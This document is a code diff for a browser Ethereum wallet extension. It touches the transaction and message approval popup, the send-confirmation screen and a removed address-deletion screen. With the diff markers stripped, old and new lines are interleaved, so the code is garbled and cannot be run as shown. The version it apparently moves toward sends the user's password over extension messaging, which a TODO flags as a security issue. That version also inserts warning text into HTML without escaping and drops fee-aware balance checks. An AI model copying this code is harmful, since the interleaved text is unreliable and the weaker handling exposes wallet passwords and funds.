// and the background treats that disconnect as "closed without deciding" for a
// site connection — so the decision goes out on this same port and not as a
// one-off message. One channel is ordered: a message posted on it is delivered
// before its own disconnect, however immediately the close follows. Two
// channels were not, and the close won, reporting a user who approved as
// having refused.
let approvalPort = null;
let pendingTxDetails = null;
// The exact objects shown to the user, kept so the popup signs what it
// displayed rather than re-fetching or re-populating anything at approval
// time. All are repopulated by show() when the popup is closed and reopened.
let pendingTxParams = null;
let pendingSignParams = null;
// The address the approval was raised for. Signing uses this rather than the
// active address, so that an address switch since the approval fails here
// instead of producing a signature from an account the screen never named.
let pendingSignFrom = null;
// Approve buttons stay disabled and muted while the popup derives the key and
// signs, which is slow enough (Argon2id) that a double click is likely.
function setTxButtonBusy(busy) {
$("btn-approve-tx").disabled = busy;
$("btn-approve-tx").classList.toggle("text-muted", busy);
}
function setSignButtonBusy(busy) {
$("btn-approve-sign").disabled = busy;
$("btn-approve-sign").classList.toggle("text-muted", busy);
}
// Say so on the approval screen itself, and disable the approve button, when
// the address the approval was raised for belongs to a wallet whose keys
// cannot be derived. Without this the screen would take a password and fail
// after deriving it. Reject stays available; the wallet is not touched.
// Returns true when it gated.
function gateOnWalletDefect(errorId, buttonId, address) {
const owner = findWalletFor(address);
const defect = owner ? walletDefect(owner.wallet) : null;
if (!defect) return false;
showError(errorId, defect.shortMessage);
$(buttonId).disabled = true;
$(buttonId).classList.add("text-muted");
return true;
}
// Locate the wallet and the address index owning an address. Returns null when
// no wallet holds it. Approvals look up the address they were raised for, not
// whichever address is active now: the approval named one account, and signing
// with another is what verification refuses.
function findWalletFor(address) {
for (const wallet of state.wallets) {
for (let i = 0; i < wallet.addresses.length; i++) {
if (wallet.addresses[i].address === address) {
return { wallet, addrIndex: i };
}
}
}
return null;
}
// Drop the password from the DOM when either approval screen is left. The
// approval window navigates on after a signature — approve-tx goes to the
// wait screen — and the password must not sit in the hidden view for the
// life of that window.
function clearTxPassword() {
$("approve-tx-password").value = "";
hideError("approve-tx-error");
}
function clearSignPassword() {
$("approve-sign-password").value = "";
hideError("approve-sign-error");
}
// Answer a site-connection approval and close. The decision goes out on the
// approval port — see approvalPort above for why — and carries no approval id,
// because the port name already names the approval the background will settle.
// The post is guarded because a throw must not cost the close: posting on a
// port whose background worker has been torn down throws, and the approval it
// would have settled died with that worker, so the only thing left to do is
// what the user asked for — go away.
function decideSite(approved) {
if (approvalPort) {
try {
approvalPort.postMessage({
type: "AUTISTMASK_APPROVAL_DECISION",
approved,
remember: $("approve-remember").checked,
});
} catch {
// Nothing to report it to; the window closes either way.
}
}
window.close();
}
function init(_ctx) {
onViewLeave("approve-tx", clearTxPassword);
onViewLeave("approve-sign", clearSignPassword);
function init(ctx) {
$("approve-remember").addEventListener("change", async () => {
state.rememberSiteChoice = $("approve-remember").checked;
await saveState();
});
$("btn-approve").addEventListener("click", () => {
decideSite(true);
const remember = $("approve-remember").checked;
runtime.sendMessage({
type: "AUTISTMASK_APPROVAL_RESPONSE",
id: approvalId,
approved: true,
remember,
});
window.close();
});
$("btn-reject").addEventListener("click", () => {
decideSite(false);
const remember = $("approve-remember").checked;
runtime.sendMessage({
type: "AUTISTMASK_APPROVAL_RESPONSE",
id: approvalId,
approved: false,
remember,
});
window.close();
});
$("btn-approve-tx").addEventListener("click", async () => {
let password = $("approve-tx-password").value;
$("btn-approve-tx").addEventListener("click", () => {
const password = $("approve-tx-password").value;
if (!password) {
showError("approve-tx-error", "Please enter your password.");
return;
}
hideError("approve-tx-error");
setTxButtonBusy(true);
$("btn-approve-tx").disabled = true;
$("btn-approve-tx").classList.add("text-muted");
const active = findWalletFor(pendingTxParams.from);
if (!active) {
password = null;
showError(
"approve-tx-error",
"No wallet was found for the address this transaction was approved for.",
);
setTxButtonBusy(false);
return;
}
const defect = walletDefect(active.wallet);
if (defect) {
password = null;
showError("approve-tx-error", defect.shortMessage);
setTxButtonBusy(false);
return;
}
// Decrypt here, in the popup. The password must never cross the
// extension messaging boundary; only the signed transaction does.
let decryptedSecret;
try {
decryptedSecret = await decryptWithPassword(
active.wallet.encryptedSecret,
password,
);
} catch {
showError(
"approve-tx-error",
"That password is incorrect. Please try again.",
);
setTxButtonBusy(false);
return;
} finally {
// Best-effort: drop the password as soon as the key derivation
// is done. Note that JS strings are immutable; this clears the
// reference but the original string may persist until GC.
password = null;
}
const payload = {
runtime.sendMessage(
{
type: "AUTISTMASK_TX_RESPONSE",
id: approvalId,
approved: true,
};
try {
const signer = getSignerForAddress(
active.wallet,
active.addrIndex,
decryptedSecret,
);
// Sign the approved transaction exactly as it was displayed. The
// background populated it before this screen was drawn and checks
// the artifact against it field for field, so there is nothing to
// fill in here and no provider to fill it in from. The copy is
// because ethers may strip `from` off what it is handed, and the
// approval has to survive a retry intact; keeping `from` on it
// makes ethers refuse a key that is not the approved address.
payload.rawSignedTx = await signer.signTransaction({
...pendingTxParams,
});
} catch (e) {
payload.error =
e.shortMessage || e.message || "Transaction signing failed.";
} finally {
// Best-effort: clear the decrypted secret after use, with the
// same immutability caveat as the password above.
decryptedSecret = null;
}
// A send that never reaches the background is reported to the user
// the same way a background that refused it is: describeSigningFailure
// turns a null response into the generic message below.
let response = null;
try {
response = await sendMessage(payload);
} catch {
response = null;
}
// TODO(security): Move decryption to popup to avoid sending password via runtime.sendMessage
password: password,
},
(response) => {
if (response && response.txHash) {
txStatus.showWait(pendingTxDetails, response.txHash);
return;
}
// A retryable failure leaves the approval pending in the
// background, so stay on this screen with a live button rather
// than sending the user to a dead end.
const outcome = describeSigningFailure(
response,
"The transaction could not be sent.",
);
if (outcome.retryable) {
showError("approve-tx-error", outcome.message);
setTxButtonBusy(false);
} else {
txStatus.showError(pendingTxDetails, null, outcome.message);
const msg =
(response && response.error) || "Transaction failed.";
txStatus.showError(pendingTxDetails, null, msg);
}
},
);
});
$("btn-reject-tx").addEventListener("click", () => {
notify({
runtime.sendMessage({
type: "AUTISTMASK_TX_RESPONSE",
id: approvalId,
approved: false,
@@ -743,117 +445,40 @@ function init(_ctx) {
window.close();
});
$("btn-approve-sign").addEventListener("click", async () => {
let password = $("approve-sign-password").value;
$("btn-approve-sign").addEventListener("click", () => {
const password = $("approve-sign-password").value;
if (!password) {
showError("approve-sign-error", "Please enter your password.");
return;
}
hideError("approve-sign-error");
setSignButtonBusy(true);
$("btn-approve-sign").disabled = true;
$("btn-approve-sign").classList.add("text-muted");
const active = findWalletFor(pendingSignFrom);
if (!active) {
password = null;
showError(
"approve-sign-error",
"No wallet was found for the address this request was approved for.",
);
setSignButtonBusy(false);
return;
}
const defect = walletDefect(active.wallet);
if (defect) {
password = null;
showError("approve-sign-error", defect.shortMessage);
setSignButtonBusy(false);
return;
}
// Decrypt here, in the popup. The password must never cross the
// extension messaging boundary; only the signature does.
let decryptedSecret;
try {
decryptedSecret = await decryptWithPassword(
active.wallet.encryptedSecret,
password,
);
} catch {
showError(
"approve-sign-error",
"That password is incorrect. Please try again.",
);
setSignButtonBusy(false);
return;
} finally {
// Best-effort: drop the password as soon as the key derivation
// is done. Note that JS strings are immutable; this clears the
// reference but the original string may persist until GC.
password = null;
}
const payload = {
runtime.sendMessage(
{
type: "AUTISTMASK_SIGN_RESPONSE",
id: approvalId,
approved: true,
};
try {
const signer = getSignerForAddress(
active.wallet,
active.addrIndex,
decryptedSecret,
);
const sp = pendingSignParams;
if (sp.method === "personal_sign" || sp.method === "eth_sign") {
payload.signature = await signer.signMessage(
getBytes(sp.message),
);
} else {
// eth_signTypedData_v4 / eth_signTypedData
const typedData = JSON.parse(sp.typedData);
const { domain, types, message } = typedData;
// ethers handles EIP712Domain internally
delete types.EIP712Domain;
payload.signature = await signer.signTypedData(
domain,
types,
message,
);
}
} catch (e) {
payload.error = e.shortMessage || e.message || "Signing failed.";
} finally {
// Best-effort: clear the decrypted secret after use, with the
// same immutability caveat as the password above.
decryptedSecret = null;
}
let response = null;
try {
response = await sendMessage(payload);
} catch {
response = null;
}
// TODO(security): Move decryption to popup to avoid sending password via runtime.sendMessage
password: password,
},
(response) => {
if (response && response.signature) {
window.close();
return;
} else {
const msg =
(response && response.error) || "Signing failed.";
showError("approve-sign-error", msg);
$("btn-approve-sign").disabled = false;
$("btn-approve-sign").classList.remove("text-muted");
}
// The button comes back only when the approval is still pending in
// the background; otherwise it stays disabled and the message says
// why, because a control that cannot succeed must not look like it
// can.
const outcome = describeSigningFailure(
response,
"The message could not be signed.",
},
);
showError("approve-sign-error", outcome.message);
if (outcome.retryable) setSignButtonBusy(false);
});
$("btn-reject-sign").addEventListener("click", () => {
notify({
runtime.sendMessage({
type: "AUTISTMASK_SIGN_RESPONSE",
id: approvalId,
approved: false,

View File

@@ -1,72 +1,75 @@
// Transaction confirmation view with inline password.
// Shows transaction details, warnings, errors. On Sign & Send,
// reads inline password, decrypts secret, signs and broadcasts.
// Transaction confirmation view + password modal.
// Shows transaction details, warnings, errors. On proceed, opens
// password modal, decrypts secret, signs and broadcasts.
const { parseEther, parseUnits, formatEther, Contract } = require("ethers");
const {
parseEther,
parseUnits,
formatEther,
formatUnits,
Contract,
} = require("ethers");
const {
$,
showError,
hideError,
showView,
showFlash,
addressTitle,
addressDotHtml,
escapeHtml,
displaySymbol,
renderAddressHtml,
attachCopyHandlers,
goBack,
onViewLeave,
} = require("./helpers");
const { state } = require("../../shared/state");
const { getSignerForAddress } = require("../../shared/wallet");
const { decryptWithPassword } = require("../../shared/vault");
const { formatUsd, getPrice } = require("../../shared/prices");
const { getProvider } = require("../../shared/balances");
const {
getLocalWarnings,
getFullWarnings,
} = require("../../shared/addressWarnings");
const { ERC20_ABI, isBurnAddress } = require("../../shared/constants");
const {
displayedDecimals,
transferAmountUnits,
} = require("../../shared/transferAmount");
const {
CODES,
FEE_PENDING,
FEE_KNOWN,
FEE_UNAVAILABLE,
feeReserveWei,
feeEstimateWei,
validateTransfer,
} = require("../../shared/txValidation");
const { isScamAddress } = require("../../shared/scamlist");
const { ERC20_ABI } = require("../../shared/constants");
const { log } = require("../../shared/log");
const makeBlockie = require("ethereum-blockies-base64");
const txStatus = require("./txStatus");
let pendingTx = null;
// Network fee for the transaction currently on screen. Reset by show() and
// filled in by estimateGas() when the estimate resolves or fails.
let feeStatus = FEE_PENDING;
let feeWei = null;
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function restore() {
const d = state.viewData;
if (d && d.pendingTx) {
show(d.pendingTx);
let pendingTx = null;
function etherscanTokenLink(address) {
return `https://etherscan.io/token/${address}`;
}
function etherscanAddressLink(address) {
return `https://etherscan.io/address/${address}`;
}
function blockieHtml(address) {
const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
}
function confirmAddressHtml(address, ensName, title) {
const blockie = blockieHtml(address);
return (
`<div class="mb-1">${blockie}</div>` +
renderAddressHtml(address, { title, ensName })
);
const dot = addressDotHtml(address);
const link = etherscanAddressLink(address);
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
let html = `<div class="mb-1">${blockie}</div>`;
if (title) {
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
}
if (ensName) {
html += `<div class="flex items-center font-bold">${title ? "" : dot}${escapeHtml(ensName)}</div>`;
}
html +=
`<div class="flex items-center">${title || ensName ? "" : dot}` +
`<span class="break-all">${escapeHtml(address)}</span>` +
extLink +
`</div>`;
return html;
}
function valueWithUsd(text, usdAmount) {
@@ -78,15 +81,9 @@ function valueWithUsd(text, usdAmount) {
function show(txInfo) {
pendingTx = txInfo;
feeStatus = FEE_PENDING;
feeWei = null;
const isErc20 = txInfo.token !== "ETH";
// The raw symbol is the price-table key; the capped one is what the
// screen says. Truncating before the lookup would silently drop the
// price of any token whose symbol is long enough to be capped.
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const symbol = displaySymbol(rawSymbol);
const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
// Transaction type
if (isErc20) {
@@ -99,12 +96,22 @@ function show(txInfo) {
// Token contract section (ERC-20 only)
const tokenSection = $("confirm-token-section");
if (isErc20) {
$("confirm-token-contract").innerHTML = renderAddressHtml(
txInfo.token,
{},
);
const dot = addressDotHtml(txInfo.token);
const link = etherscanTokenLink(txInfo.token);
$("confirm-token-contract").innerHTML =
`<div class="flex items-center">${dot}` +
`<span class="break-all underline decoration-dashed cursor-pointer" data-copy="${escapeHtml(txInfo.token)}">${escapeHtml(txInfo.token)}</span>` +
`<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>` +
`</div>`;
tokenSection.classList.remove("hidden");
attachCopyHandlers(tokenSection);
// Attach click-to-copy on the contract address
const copyEl = tokenSection.querySelector("[data-copy]");
if (copyEl) {
copyEl.onclick = () => {
navigator.clipboard.writeText(copyEl.dataset.copy);
showFlash("Copied!");
};
}
} else {
tokenSection.classList.add("hidden");
}
@@ -128,7 +135,7 @@ function show(txInfo) {
// Amount (with inline USD)
const ethPrice = getPrice("ETH");
const tokenPrice = getPrice(rawSymbol);
const tokenPrice = getPrice(symbol);
const amountNum = parseFloat(txInfo.amount);
const price = isErc20 ? tokenPrice : ethPrice;
const amountUsd = price ? amountNum * price : null;
@@ -139,113 +146,49 @@ function show(txInfo) {
// Balance (with inline USD)
if (isErc20) {
// null is a balance whose scale nothing knows, not a balance of zero
// (https://git.eeqj.de/sneak/AutistMask/issues/349). The send is
// refused at encode time for the same missing scale; what this line
// must not do is state a quantity nobody established.
const bal = txInfo.tokenBalance;
const balUsd =
tokenPrice && bal != null ? parseFloat(bal) * tokenPrice : null;
$("confirm-balance").textContent =
bal == null
? "unknown (" + symbol + ")"
: valueWithUsd(bal + " " + symbol, balUsd);
const bal = txInfo.tokenBalance || "0";
const balUsd = tokenPrice ? parseFloat(bal) * tokenPrice : null;
$("confirm-balance").textContent = valueWithUsd(
bal + " " + symbol,
balUsd,
);
} else {
const bal = txInfo.balance || "0";
const balUsd = ethPrice ? parseFloat(bal) * ethPrice : null;
$("confirm-balance").textContent = valueWithUsd(bal + " ETH", balUsd);
}
// Check for warnings (synchronous local checks)
const localWarnings = getLocalWarnings(txInfo.to, {
fromAddress: txInfo.from,
});
// Check for warnings
const warnings = [];
if (isScamAddress(txInfo.to)) {
warnings.push(
"This address is on a known scam/fraud list. Do not send funds to this address.",
);
}
if (txInfo.to.toLowerCase() === txInfo.from.toLowerCase()) {
warnings.push("You are sending to your own address.");
}
const warningsEl = $("confirm-warnings");
if (localWarnings.length > 0) {
warningsEl.innerHTML = localWarnings
if (warnings.length > 0) {
warningsEl.innerHTML = warnings
.map(
(w) =>
// Only the three hardcoded strings in
// src/shared/addressWarnings.js reach this today, but
// src/shared/etherscanLabels.js already builds a
// `warning` out of scraped explorer markup, so this is
// one wiring change away from carrying remote text.
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w}</div>`,
)
.join("");
warningsEl.style.visibility = "visible";
warningsEl.classList.remove("hidden");
} else {
warningsEl.innerHTML = "";
warningsEl.style.visibility = "hidden";
warningsEl.classList.add("hidden");
}
// The two fee messages are mutually exclusive per transaction type, and
// the type is known here, before the first paint. Drop the one that can
// never apply and reserve the space of the one that can, so the async
// estimate landing later never moves anything.
$("confirm-amount-fee-error").classList.toggle("hidden", isErc20);
$("confirm-gas-error").classList.toggle("hidden", !isErc20);
renderValidation(txInfo);
// Reset password field and error
$("confirm-tx-password").value = "";
hideError("confirm-tx-password-error");
// Gas estimate — show placeholder then fetch async
$("confirm-fee").style.visibility = "visible";
$("confirm-fee-amount").textContent = "Estimating...";
setVisible("confirm-fee-reserve", false);
state.viewData = { pendingTx: txInfo };
showView("confirm-tx");
attachCopyHandlers("view-confirm-tx");
// Reset async warnings to hidden (space always reserved, no layout shift)
$("confirm-recipient-warning").style.visibility = "hidden";
$("confirm-contract-warning").style.visibility = "hidden";
$("confirm-burn-warning").style.visibility = "hidden";
$("confirm-etherscan-warning").style.visibility = "hidden";
// Show burn warning via reserved element (in addition to inline warning)
if (isBurnAddress(txInfo.to)) {
$("confirm-burn-warning").style.visibility = "visible";
}
estimateGas(txInfo);
checkRecipientHistory(txInfo);
}
// Render the balance check for the transaction on screen. Called once during
// show() and again when the fee estimate resolves or fails. Every element it
// touches already occupies its space, so re-running it never moves anything.
function renderValidation(txInfo) {
const isErc20 = txInfo.token !== "ETH";
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
const { canSend, codes } = validateTransfer({
isErc20,
amount: txInfo.amount,
ethBalance: txInfo.balance,
tokenBalance: txInfo.tokenBalance,
feeStatus,
feeWei,
});
// Messages carrying the user's own numbers are built here; the fixed
// sentences live in the reserved elements in index.html.
const messages = [];
if (codes.includes(CODES.AMOUNT_INVALID)) {
messages.push("Please enter a valid amount to send.");
}
if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
messages.push(
txInfo.tokenBalance == null
? "This token's balance is unknown, because nothing this" +
" wallet can consult reports how many decimal places it" +
" uses, so the amount you are trying to send cannot be" +
" checked against it."
: "Insufficient " +
// Check for errors
const errors = [];
if (isErc20) {
const tokenBal = parseFloat(txInfo.tokenBalance || "0");
if (parseFloat(txInfo.amount) > tokenBal) {
errors.push(
"Insufficient " +
symbol +
" balance. You have " +
txInfo.tokenBalance +
@@ -258,8 +201,8 @@ function renderValidation(txInfo) {
".",
);
}
if (codes.includes(CODES.INSUFFICIENT_ETH)) {
messages.push(
} else if (parseFloat(txInfo.amount) > parseFloat(txInfo.balance)) {
errors.push(
"Insufficient balance. You have " +
txInfo.balance +
" ETH but are trying to send " +
@@ -269,53 +212,33 @@ function renderValidation(txInfo) {
}
const errorsEl = $("confirm-errors");
if (messages.length > 0) {
errorsEl.innerHTML = messages
.map((m) => `<div class="text-xs">${escapeHtml(m)}</div>`)
.join("");
errorsEl.style.visibility = "visible";
} else {
errorsEl.innerHTML = "";
errorsEl.style.visibility = "hidden";
}
setVisible(
"confirm-amount-fee-error",
codes.includes(CODES.INSUFFICIENT_ETH_WITH_FEE),
);
setVisible(
"confirm-gas-error",
codes.includes(CODES.INSUFFICIENT_ETH_FOR_FEE),
);
setVisible(
"confirm-fee-unknown-error",
codes.includes(CODES.FEE_UNAVAILABLE),
);
// While the estimate is in flight there is no error to show — the fee
// line already reads "Estimating..." — but sending stays blocked so a
// transaction the fee would break cannot be signed in the meantime.
const sendBtn = $("btn-confirm-send");
sendBtn.disabled = !canSend;
sendBtn.classList.toggle("text-muted", !canSend);
if (errors.length > 0) {
errorsEl.innerHTML = errors
.map((e) => `<div class="text-xs">${e}</div>`)
.join("");
errorsEl.classList.remove("hidden");
sendBtn.disabled = true;
sendBtn.classList.add("text-muted");
} else {
errorsEl.classList.add("hidden");
sendBtn.disabled = false;
sendBtn.classList.remove("text-muted");
}
function setVisible(id, visible) {
$(id).style.visibility = visible ? "visible" : "hidden";
}
// Gas estimate — show placeholder then fetch async
$("confirm-fee").classList.remove("hidden");
$("confirm-fee-amount").textContent = "Estimating...";
showView("confirm-tx");
// A fee in wei as an ETH string, truncated to 6 decimal places.
function formatFeeEth(wei) {
const parts = formatEther(wei).split(".");
const dec =
parts.length > 1 ? parts[1].slice(0, 6).replace(/0+$/, "") || "0" : "0";
return parts[0] + "." + dec + " ETH";
estimateGas(txInfo);
}
async function estimateGas(txInfo) {
try {
const provider = getProvider(state.rpcUrl, state.networkId);
const provider = getProvider(state.rpcUrl);
const feeData = await provider.getFeeData();
const gasPrice = feeData.gasPrice;
let gasLimit;
if (txInfo.token === "ETH") {
@@ -326,136 +249,76 @@ async function estimateGas(txInfo) {
});
} else {
const contract = new Contract(txInfo.token, ERC20_ABI, provider);
// The scale the screen is rendering with, not the contract's own
// answer: the estimate has to be for the transfer that would be
// signed, and that one is encoded from what was displayed. See
// transferAmount.js. A pending transaction that carries no usable
// scale throws here, which reports the fee as unknown and leaves
// Send blocked — an amount that cannot be checked against the
// screen is never estimated for, let alone sent.
const amount = parseUnits(
txInfo.amount,
displayedDecimals(txInfo.tokenDecimals),
);
const decimals = await contract.decimals();
const amount = parseUnits(txInfo.amount, decimals);
gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
from: txInfo.from,
});
}
// What the node will require to be reserved, which is what the gate
// must be: the send pins no fee fields, so it is broadcast as a
// type-2 transaction priced at maxFeePerGas.
const gasCostWei = feeReserveWei(gasLimit, feeData);
if (gasCostWei === null) {
throw new Error("no usable gas price from the provider");
}
// What the transaction is expected to cost, which is a different and
// usually much smaller number. Both are shown: quoting only the
// reserve overstates the typical cost by roughly double on mainnet,
// and quoting only the estimate contradicts the balance check.
const estimateWei = feeEstimateWei(gasLimit, feeData);
// The user may have left this transaction while the estimate was in
// flight; a stale fee must not reach the screen or the balance check.
if (pendingTx !== txInfo) return;
const gasCostWei = gasLimit * gasPrice;
const gasCostEth = formatEther(gasCostWei);
// Format to 6 significant decimal places
const parts = gasCostEth.split(".");
const dec =
parts.length > 1
? parts[1].slice(0, 6).replace(/0+$/, "") || "0"
: "0";
const feeStr = parts[0] + "." + dec + " ETH";
const ethPrice = getPrice("ETH");
const usd = (wei) =>
ethPrice ? parseFloat(formatEther(wei)) * ethPrice : null;
if (estimateWei !== null && estimateWei < gasCostWei) {
$("confirm-fee-amount").textContent = valueWithUsd(
"~" + formatFeeEth(estimateWei),
usd(estimateWei),
);
$("confirm-fee-reserve").textContent =
"up to " + formatFeeEth(gasCostWei) + " reserved";
setVisible("confirm-fee-reserve", true);
} else {
// No spread to report: either there is no estimate, or the node
// quotes a gas price at or above maxFeePerGas, so the expected
// cost is not below the reserve. Show the reserve alone.
$("confirm-fee-amount").textContent = valueWithUsd(
formatFeeEth(gasCostWei),
usd(gasCostWei),
);
setVisible("confirm-fee-reserve", false);
}
feeStatus = FEE_KNOWN;
feeWei = gasCostWei;
renderValidation(txInfo);
const feeUsd = ethPrice ? parseFloat(gasCostEth) * ethPrice : null;
$("confirm-fee-amount").textContent = valueWithUsd(feeStr, feeUsd);
} catch (e) {
log.errorf("gas estimation failed:", e.message);
if (pendingTx !== txInfo) return;
$("confirm-fee-amount").textContent = "Unable to estimate";
setVisible("confirm-fee-reserve", false);
feeStatus = FEE_UNAVAILABLE;
feeWei = null;
renderValidation(txInfo);
}
}
async function checkRecipientHistory(txInfo) {
try {
const provider = getProvider(state.rpcUrl, state.networkId);
const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
fromAddress: txInfo.from,
function showPasswordModal() {
$("modal-password").value = "";
hideError("modal-password-error");
$("password-modal").classList.remove("hidden");
}
function hidePasswordModal() {
$("password-modal").classList.add("hidden");
}
function init(ctx) {
$("btn-confirm-send").addEventListener("click", () => {
showPasswordModal();
});
for (const w of asyncWarnings) {
if (w.type === "contract") {
$("confirm-contract-warning").style.visibility = "visible";
}
if (w.type === "new-address") {
$("confirm-recipient-warning").style.visibility = "visible";
}
if (w.type === "etherscan-phishing") {
$("confirm-etherscan-warning").style.visibility = "visible";
}
}
} catch (e) {
log.errorf("recipient history check failed:", e.message);
}
}
// Drop the password from the DOM. Registered as the view-leave handler so
// it does not sit in the hidden view once the screen navigates on — to the
// wait screen after a send, or anywhere else the user goes.
function clearPassword() {
$("confirm-tx-password").value = "";
hideError("confirm-tx-password-error");
}
$("btn-confirm-back").addEventListener("click", () => {
showView("send");
});
function init(_ctx) {
onViewLeave("confirm-tx", clearPassword);
$("btn-modal-cancel").addEventListener("click", () => {
hidePasswordModal();
});
$("btn-confirm-send").addEventListener("click", async () => {
const password = $("confirm-tx-password").value;
$("btn-modal-confirm").addEventListener("click", async () => {
const password = $("modal-password").value;
if (!password) {
showError(
"confirm-tx-password-error",
"Please enter your password.",
);
showError("modal-password-error", "Please enter your password.");
return;
}
const wallet = state.wallets[state.selectedWallet];
let decryptedSecret;
hideError("confirm-tx-password-error");
hideError("modal-password-error");
try {
decryptedSecret = await decryptWithPassword(
wallet.encryptedSecret,
password,
);
} catch {
showError(
"confirm-tx-password-error",
"That password is incorrect. Please try again.",
);
} catch (e) {
showError("modal-password-error", "Wrong password.");
return;
}
$("btn-confirm-send").disabled = true;
$("btn-confirm-send").classList.add("text-muted");
hidePasswordModal();
let tx;
try {
@@ -464,7 +327,7 @@ function init(_ctx) {
state.selectedAddress,
decryptedSecret,
);
const provider = getProvider(state.rpcUrl, state.networkId);
const provider = getProvider(state.rpcUrl);
const connectedSigner = signer.connect(provider);
if (pendingTx.token === "ETH") {
@@ -478,16 +341,8 @@ function init(_ctx) {
ERC20_ABI,
connectedSigner,
);
// The contract's decimals() is read to be COMPARED with the
// scale the screen rendered this amount at, not to encode with:
// encoding from it signs whatever the contract answers now,
// which is not what the user read. A disagreement throws and is
// reported on the error screen. See transferAmount.js.
const amount = transferAmountUnits(
pendingTx.amount,
pendingTx.tokenDecimals,
await contract.decimals(),
);
const decimals = await contract.decimals();
const amount = parseUnits(pendingTx.amount, decimals);
tx = await contract.transfer(pendingTx.to, amount);
}
@@ -500,15 +355,8 @@ function init(_ctx) {
decryptedSecret = null;
const hash = tx ? tx.hash : null;
txStatus.showError(pendingTx, hash, e.shortMessage || e.message);
} finally {
$("btn-confirm-send").disabled = false;
$("btn-confirm-send").classList.remove("text-muted");
}
});
$("btn-confirm-back").addEventListener("click", () => {
goBack();
});
}
module.exports = { init, show, restore };
module.exports = { init, show };

View File

@@ -1,176 +0,0 @@
// Confirmation screen for removing one address from a wallet that derives
// its addresses from an extended key.
//
// No password is asked for, unlike delete-wallet. A password gates the
// disclosure or destruction of a secret, and this does neither: the address
// is derived from key material the wallet still holds, so removing it only
// stops the wallet tracking it. An explicit confirmation screen is the
// proportionate treatment.
const {
$,
showView,
showFlash,
escapeHtml,
goBack,
renderAddressHtml,
attachCopyHandlers,
addressHoldsFunds,
balanceLinesForAddress,
} = require("./helpers");
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
const { state, saveState } = require("../../shared/state");
const {
canRemoveAddress,
removeAddressFromState,
broadcastActiveChanged,
} = require("../../shared/walletDelete");
// The wallet and address indices this screen is confirming, or null when it
// is not confirming anything.
let target = null;
let ctx = null;
function setFlash(msg) {
const el = $("delete-address-flash");
el.textContent = msg;
el.style.visibility = msg ? "visible" : "hidden";
}
// What it actually takes to get the address back, which is not what the
// screen used to claim.
//
// Neither obvious route works: "+" derives the next unused index, because
// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
// re-importing this wallet's key material is refused as a duplicate by
// findWalletByXpub() for as long as the wallet is here. What remains is to
// delete the whole wallet in Settings — which destroys the stored secret,
// with or without the password — and import again, after which
// scanForAddresses() rediscovers the address only if it has on-chain
// activity. An address that was never used is not found by that scan, and
// the copy must not imply otherwise.
//
// The noun follows the wallet: an xprv wallet holds no recovery phrase, and
// this screen is offered on xprv wallets too.
function recoveryPathText(wallet) {
const secret = walletHasRecoveryPhrase(wallet)
? "recovery phrase"
: "extended private key";
return (
"Getting the address back into this list is not easy, so be sure. " +
"Adding an address derives the next unused one, not this one, and " +
"importing this " +
secret +
" again is refused while this wallet is still here. The way back is " +
"to delete the whole wallet in Settings, which destroys the stored " +
secret +
", and then import that " +
secret +
" again. The scan that follows only finds addresses that have " +
"on-chain activity, so an address that has never been used is not " +
"found by it."
);
}
// The balance warning, or a blank line when the address holds nothing.
//
// A balance is a reason to be careful, not a reason to refuse: the funds are
// at the address, not in this list, and stay there either way.
//
// "Holds" means ETH or any ERC-20 the wallet knows about — an address with no
// ETH and a five-figure stablecoin position must not get the blank line on
// the one screen whose job is to warn. The sentence names no figure of its
// own: the rendered lines round to four decimals, so a sentence built from a
// rounded number would report "0.0000 ETH" for an address holding real money.
// The lines below it carry the amounts, in the same format as Home and
// AddressDetail, followed by the USD total when there is one to give — no
// total line at all on testnet or before the first price fetch, and no figure
// when every holding here is one with no price, since "$0.00" directly under
// "This address holds a balance." is a contradiction.
function balanceWarningHtml(addr) {
if (!addressHoldsFunds(addr)) return "&nbsp;";
const line = formatAddressTotal(getAddressValue(addr));
const total = line
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
: "";
return (
`<p class="mb-1">This address holds a balance. Removing it does not ` +
`move or spend anything; the balance stays at the address.</p>` +
balanceLinesForAddress(addr, state.trackedTokens, false) +
total
);
}
function show(walletIdx, addrIdx) {
const wallet = state.wallets[walletIdx];
const addr = wallet && wallet.addresses[addrIdx];
if (!addr) return;
target = { walletIdx, addrIdx };
$("delete-address-label").textContent = "Address " + (addrIdx + 1);
$("delete-address-wallet-name").textContent =
wallet.name || "Wallet " + (walletIdx + 1);
const value = $("delete-address-value");
value.innerHTML = renderAddressHtml(addr.address, {
ensName: addr.ensName,
});
attachCopyHandlers(value);
$("delete-address-recovery").textContent = recoveryPathText(wallet);
$("delete-address-balance").innerHTML = balanceWarningHtml(addr);
setFlash("");
showView("delete-address-confirm");
}
function init(_ctx) {
ctx = _ctx;
$("btn-delete-address-back").addEventListener("click", () => {
target = null;
goBack();
});
$("btn-delete-address-confirm").addEventListener("click", async () => {
if (target === null) {
